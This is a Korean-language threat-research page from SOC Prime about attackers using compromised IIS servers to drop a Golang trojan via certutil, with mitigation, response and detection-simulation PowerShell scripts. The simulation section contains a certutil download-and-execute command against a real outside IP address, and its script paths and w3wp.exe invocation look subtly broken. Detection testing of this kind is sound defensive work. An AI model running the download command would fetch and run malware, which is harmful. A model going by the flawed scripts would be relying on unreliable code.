SOC Prime Bias: 심각

29 Dec 2025 09:37 UTC

시도, 오류 및 오타: 왜 일부 악성코드 공격이 ‘정교하다’고 생각하지 않는지

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
시도, 오류 및 오타: 왜 일부 악성코드 공격이 ‘정교하다’고 생각하지 않는지
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 위협 행위자가 손상된 IIS 웹 서버를 활용하여 공격 대상의 엔드포인트에서 Golang 기반 트로이 목마(agent.exe)를 다운로드하고 실행한 세 가지 별개의 사건을 설명합니다. 공격자들은 반복적으로 실행을 시도했으며, certutil을 사용해 페이로드를 가져오고 나중에 Windows Defender의 제외 항목을 추가한 후 Windows 서비스를 통해 지속성을 확립하려고 시도했습니다. 감지는 명령줄, 프로세스 트리 및 네트워크 활동을 캡처한 EDR과 Sysmon 로그를 통해 이루어졌습니다. 이 공격은 적대자가 완벽한 계획서를 따르기보다는 방어 장애물을 어떻게 적응해 나가는지를 보여줍니다.

조사

Huntress 분석가들은 공격 체인을 재구성하기 위해 Windows 이벤트 로그, Sysmon 이벤트 및 IIS 웹 서버 로그를 조사했습니다. 그들은 w3wp.exe를 통한 초기 웹 셸 실행을 식별하고, 잘못된 명령어와 반복적인 페이로드 배달 시도, 및 시작에 실패한 WindowsUpdate라는 서비스의 생성을 관찰했습니다. 파일 경로, 명령줄 및 네트워크 연결과 같은 여러 지표가 수집되었으며 세 가지 사건 전반에 걸쳐 상관되며 분석되었습니다.

완화

주요 완화 조치로는 IIS 서버 강화, 웹 셸 실행 제한, 엄격한 애플리케이션 허용 리스트 시행, certutil 및 PowerShell과 같은 LOLBins의 비정상적인 사용 모니터링, 및 Windows Defender 제외 항목의 임의 생성을 방지하는 것이 포함됩니다. 손상된 호스트의 신속한 격리 및 GotoHTTP와 같은 투하된 도구의 제거도 권장됩니다.

대응

탐지 시, 대응자는 영향을 받은 엔드포인트를 격리하고 전체 프로세스 트리 및 네트워크 로그를 수집하며, 악성 바이너리를 삭제하고 승인되지 않은 Windows Defender 제외 항목을 되돌리며 서비스 생성 실패를 확인해야 합니다. 손상된 페이지에 대한 철저한 웹 서버 검토를 수행하고 모든 손상된 자격 증명을 회전하십시오.

공격 흐름

시뮬레이션 실행

전제조건: 원격 검사 및 기준선을 통과해야 합니다.

이유: 이 섹션은 감지 규칙을 트리거하기 위해 설계된 적대자 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령어:
    손상된 IIS 서버에서 코드 실행 권한을 이미 획득한 공격자는 w3wp.exe 프로세스(IIS 작업자)를 활용하여 일련의 서명된 바이너리 프록시를 실행합니다. 우선, 시스템 및 네트워크 상태를 열거합니다(whoami.exe, netstat -an, ipconfig /all). 그런 다음 certutil.exe 를 사용하여 원격 C2 서버에서 악성 페이로드(agent.exe)를 다운로드하여 공용 사용자 디렉터리에서 즉시 실행합니다. 모든 명령은 cmd.exe /c 를 통해, w3wp.exe의 컨텍스트에서 시작하여 프로세스 생성 이벤트가 규칙의 조건과 일치하도록 보장합니다.

    # 1. 시스템/사용자 정보 열거
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow
    
    # 2. certutil을 통해 악성 페이로드 다운로드 및 실행
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow
  • 회귀 테스트 스크립트: 다음 스크립트는 Sigma 규칙을 트리거해야 하는 정확한 원격 측정을 재현하며 전체 공격 체인을 자동화합니다.

    <#
    .SYNOPSIS
        "웹 서버 프로세스에서 명령줄 실행 감지" Sigma 규칙을 트리거하는 적대자 활동을 시뮬레이션합니다.
    .DESCRIPTION
        IIS 작업자 프로세스(w3wp.exe)에서 일련의 탐색 및 다운로드 후 실행 명령을 실행합니다.
        프로세스 생성 감사(이벤트 ID 4688)가 활성화된 Windows 호스트에서 실행합니다.
    #>
    
    # w3wp.exe를 통한 명령을 호출하는 함수
    function Invoke-W3wpCommand {
        param (
            [Parameter(Mandatory=$true)]
            [string]$CmdLine
        )
        Write-Host "Invoking via w3wp.exe: $CmdLine"
        Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null
    }
    
    # 1. 탐색 명령어(MITRE T1033, T1016, T1069.001)
    $discoveryCommands = @(
        "whoami.exe",
        "netstat -an",
        "net user admin$",
        "ipconfig /all",
        "net localgroup administrators"
    )
    foreach ($cmd in $discoveryCommands) {
        Invoke-W3wpCommand -CmdLine $cmd
        Start-Sleep -Seconds 2
    }
    
    # 2. 악성 다운로드 및 실행(MITRE T1218.004)
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Invoke-W3wpCommand -CmdLine $maliciousCmd
  • 정리 명령: 다운로드된 페이로드를 제거하고 남은 프로세스를 종료합니다.

    # 악성 에이전트 바이너리 삭제
    Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue
    
    # 아직 실행 중인 경우 옵션으로 에이전트 종료
    Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force